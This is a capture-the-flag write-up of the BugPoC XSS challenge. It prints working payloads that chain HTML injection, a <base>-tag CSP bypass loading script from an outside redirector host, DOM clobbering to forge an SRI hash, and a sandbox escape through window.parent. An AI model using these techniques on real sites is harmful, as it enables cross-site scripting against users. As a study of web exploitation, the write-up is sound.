BugPoc XSS Challenge

2020-11-09

I am not the one who solves this challenge quickly. After I got up, I saw that someone had submitted it 9 hours ago. But I learned something and some new thinking from this challenge, so I recorded it.Try to get the reward of the best blog.

Challenge Details

Wacky Text Generator (https://wacky.buggywebsite.com)
Rules: Must alert(origin), must bypass CSP, must work in Chrome, must provide a BugPoC demo

Solving

Step 1 : Found html injection

I first opened the challenge page and checked the source code
图片一 Found a page https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!
Manual test parameter
After finding the closed <title> tag. Can inject html code In fact, when I first viewed this page, I first checked the source code of the page, read the js, and then discovered this html injection

Step 2 :Bypass CSP

Although we have found html injection, it cannot perform xss Because

content-security-policy: script-src 'nonce-kplddkwaepak' 'strict-dynamic'; frame-src 'self'; object-src 'none';

You can use this to check csp security Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain
Just use the previously found html injection to inject <base href="">
Since this is a ctf challenge, this may be a breakthrough. (If bugbounty, this may not have any effect).I did find relative (script) injection in the js at the bottom But this has to be judged by if (window.name =='iframe')
This site x-frame-options: SAMEORIGIN cannot use iframe
But we can set window.name through window.open()
Such as

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=xss","iframe");
</script>
First try
if (window.name == 'iframe') {
			
			// securely load the frame analytics code
			if (fileIntegrity.value) {
				
				// create a sandboxed iframe
				analyticsFrame = document.createElement('iframe');
				analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
				analyticsFrame.setAttribute('class', 'invisible');
				document.body.appendChild(analyticsFrame);

				// securely add the analytics code into iframe
				script = document.createElement('script');
				script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
				script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
				script.setAttribute('crossorigin', 'anonymous');
				analyticsFrame.contentDocument.body.appendChild(script);
				
			}

		} else {
			document.body.innerHTML = `
			<h1>Error</h1>
			<h2>This page can only be viewed from an iframe.</h2>
			<video width="400" controls>
				<source src="movie.mp4" type="video/mp4">
			</video>`
		}

After reading this js, I initially thought it would create an iframe and write a <script src="files/analytics/js/frame-analytics.js"> in it I only need to inject the <base> tag, control the base-URL to my own domain , and upload a file /files/analytics/js/frame-analytics.js, load my own js.
Use bugpoc mock to construct POC Then use Flexible Redirector for 302 redirection get https://le8497ljneda.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js content alert(origin);
Payload

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=</title><base href='https://le8497ljneda.redir.bugpoc.ninja/'>","iframe");
</script>
Say no

Second

Read this Subresource Integrity
This helps me understand what is happening
After that I fell into a dead end,I have been thinking about how to bypass SRI,It took a while.(It seems that need to find a browser vulnerability to solve the problem, so the idea at the time was wrong)
After changing mind, only try to modify the value of integrity

	<script nonce="lxggbsrloata">
	
		window.fileIntegrity = window.fileIntegrity || {
			'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
			'algorithm' : 'sha256',
			'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
			'creationtime' : 1602687229
		}
	
		// verify we are in an iframe
		if (window.name == 'iframe') {
			
			// securely load the frame analytics code
			if (fileIntegrity.value) {
				
				// create a sandboxed iframe
				analyticsFrame = document.createElement('iframe');
				analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
				analyticsFrame.setAttribute('class', 'invisible');
				document.body.appendChild(analyticsFrame);

				// securely add the analytics code into iframe
				script = document.createElement('script');
				script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
				script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
				script.setAttribute('crossorigin', 'anonymous');
				analyticsFrame.contentDocument.body.appendChild(script);
				
			}

		} else {
			document.body.innerHTML = `
			<h1>Error</h1>
			<h2>This page can only be viewed from an iframe.</h2>
			<video width="400" controls>
				<source src="movie.mp4" type="video/mp4">
			</video>`
		}
		
	</script>

To modify the value of integrity first, must modify fileIntegrity.value.

window.fileIntegrity = window.fileIntegrity || {...}
Seeing this, I thought that as long as I created a window.fileIntegrity using the previously discovered html injection, could change the fileIntegrity.value
Due to the particularity of js language.For example, name of iframe, id of input. In the unoccupied case, it will change from assignment to dom selector, so it can be used to hijack regular parameters (value href name id src ref..). Detail DOM clobbering
<input id='fileIntegrity' value='w7eu4SGHdqamrZE5Wi%2bayP8t7tuSBLDdoq4DQUxSpL8='> modify fileIntegrity.value
Payload

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=</title><input id='fileIntegrity' value='aErQrfRCGgdInIpMEDCWj2%2bHQUab648smjdgPAUdBKU='><base href='https://le8497ljneda.redir.bugpoc.ninja/'>","iframe");
</script>
Say no again

<iframe sandbox="allow-scripts allow-same-origin" class="invisible"></iframe>
But the security of using allow-scripts allow-same-origin at the same time is very low
Because can manipulate the parent window.Just use the alert() of the parent window
Modify the content of /files/analytics/js/frame-analytics.js to window.parent.alert(origin);

Final Payload
<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=</title><input id='fileIntegrity' value='w7eu4SGHdqamrZE5Wi%2bayP8t7tuSBLDdoq4DQUxSpL8='><base href='https://960ejm5yq2xy.redir.bugpoc.ninja/'>","iframe");
</script>

Conclusion

Sorry for my poor English
In order for everyone to understand, the article is written in detail
Although this challenge is simple, it does show that sometimes changing the way of thinking can make the problem very easy
If you have any questions, welcome dm me(jinonehk)